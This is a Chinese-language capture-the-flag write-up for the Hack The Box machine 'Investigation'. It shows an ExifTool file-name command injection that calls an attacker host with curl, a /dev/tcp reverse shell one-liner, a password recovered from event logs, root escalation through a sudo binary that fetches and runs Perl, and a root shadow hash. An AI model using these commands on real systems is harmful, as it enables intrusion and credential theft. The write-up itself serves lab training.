基本信息

端口扫描
22和80:
1 | nmap -sC -sV -Pn 10.10.11.197 |
80
需要加hosts:
1 | 10.10.11.197 eforenzics.htb |
在线数字取证:

ExifTool
正常一张图片测试,发现是12.37的Exiftool,搜索发现相关漏洞:

- Command Injection in Exiftool before 12.38
https://gist.github.com/ert-plus/1414276e4cb5d56dd431c2f0429e4429
命令注入
文件名注入,可以直接复制重命名方便操作:
1 | cp miao.jpg "curl 10.10.14.9 |" |

reverse shell
有字符限制,可以通过管道得到shell:
1 | echo "sh -i >& /dev/tcp/10.10.14.9/4444 0>&1" > index.html |

investigation
/usr/local/investigation目录中发现一个邮件,其中有个附件里面是windows日志文件:

可以使用在线网站提取附件:
- Free MSG EML Viewer | Free Online Email Viewer
https://www.encryptomatic.com/viewer/

日志分析
evtx文件,可以直接使用windows分析,也可以用第三方工具,日志文件中得到密码,就是很常见的误操作场景,把密码当用户名输入了,被记录在日志中:
- omerbenamram/evtx: A Fast (and safe) parser for the Windows XML Event Log (EVTX) format
https://github.com/omerbenamram/evtx
1 | ./evtx_dump-v0.8.0-x86_64-apple-darwin security.evtx -o json > events.json |
user flag
用户名可以通过在www shell中知道是smorton,使用上面得到的密码登录:
1 | ssh smorton@10.10.11.197 |

提权信息
sudo可以发现一个binary文件,尝试运行直接退出:

下载下来进行分析:
1 | scp smorton@10.10.11.197:/usr/bin/binary . |
binary
反编译查看代码逻辑,发现程序运行argc需要是3,所以需要两个参数,第二个参数可以看作密码,校验通过后,使用curl请求第一个参数的内容,写入到第二个参数作为文件名的文件中,然后以root权限使用perl运行这个文件:

提权 & root flag
任意perl代码:
1 | root.pl |

shadow
1 | root:$6$8KeEz2EYMU05RVyS$W5GGqM4AHw3D1tLul.LJN2BPUhqEdflA.yCQyu7/c2PtZmbAn6qevqSaUlFyhPQbgbhFmDB00I3Of7qPep2WP/:19233:0:99999:7::: |
参考资料
- Command Injection in Exiftool before 12.38
https://gist.github.com/ert-plus/1414276e4cb5d56dd431c2f0429e4429 - Free MSG EML Viewer | Free Online Email Viewer
https://www.encryptomatic.com/viewer/ - omerbenamram/evtx: A Fast (and safe) parser for the Windows XML Event Log (EVTX) format
https://github.com/omerbenamram/evtx - Investigation - HTB [Discussion] | BreachForums
https://breached.vc/Thread-Investigation-HTB-Discussion